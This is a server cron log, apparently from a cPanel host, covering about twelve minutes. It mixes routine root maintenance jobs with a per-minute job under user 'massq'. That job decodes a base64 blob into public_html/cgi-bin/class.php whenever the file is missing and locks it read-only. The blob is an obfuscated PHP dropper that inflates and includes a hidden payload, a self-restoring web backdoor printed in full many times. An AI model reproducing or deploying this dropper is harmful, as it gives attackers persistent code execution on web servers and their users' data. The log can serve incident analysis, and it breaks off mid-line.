Sep  1 03:00:01 server CROND[12511]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 03:01:01 server CROND[13448]: (root) CMD (run-parts /etc/cron.hourly)
Sep  1 03:01:01 server CROND[13450]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 03:01:01 server CROND[13452]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:01:01 server CROND[13454]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:01:01 server run-parts(/etc/cron.hourly)[13448]: starting 0anacron
Sep  1 03:01:01 server anacron[13476]: Anacron started on 2026-09-01
Sep  1 03:01:01 server anacron[13476]: Will run job `cron.daily' in 23 min.
Sep  1 03:01:01 server anacron[13476]: Jobs will be executed sequentially
Sep  1 03:01:01 server run-parts(/etc/cron.hourly)[13478]: finished 0anacron
Sep  1 03:02:01 server CROND[14131]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 03:02:01 server CROND[14132]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:02:01 server CROND[14133]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:03:01 server CROND[14774]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:03:01 server CROND[14775]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 03:03:01 server CROND[14776]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:04:01 server CROND[16304]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 03:04:01 server CROND[16305]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:04:01 server CROND[16306]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:05:01 server CROND[16794]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 03:05:01 server CROND[16796]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 03:05:01 server CROND[16800]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:05:01 server CROND[16804]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 03:05:01 server CROND[16816]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 03:05:01 server CROND[16819]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 03:05:01 server CROND[16817]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:05:01 server CROND[16818]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 03:06:01 server CROND[17754]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:06:01 server CROND[17755]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:06:01 server CROND[17757]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 03:07:01 server CROND[18810]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:07:01 server CROND[18811]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:07:01 server CROND[18812]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 03:08:01 server CROND[19211]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 03:08:01 server CROND[19210]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:08:01 server CROND[19212]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:09:01 server CROND[20136]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:09:01 server CROND[20137]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 03:09:01 server CROND[20139]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:09:01 server CROND[20138]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 03:10:01 server CROND[20924]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 03:10:01 server CROND[20926]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 03:10:01 server CROND[20927]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 03:10:01 server CROND[20929]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 03:10:01 server CROND[20932]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:10:01 server CROND[20930]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 03:10:01 server CROND[20931]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:10:01 server CROND[20934]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 03:11:01 server CROND[22763]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:11:01 server CROND[22764]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 03:11:01 server CROND[22765]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:12:01 server CROND[23951]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:12:01 server CROND[23950]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 03:12:01 server CROND[23953]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 03:12:01 server CROND[23954]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g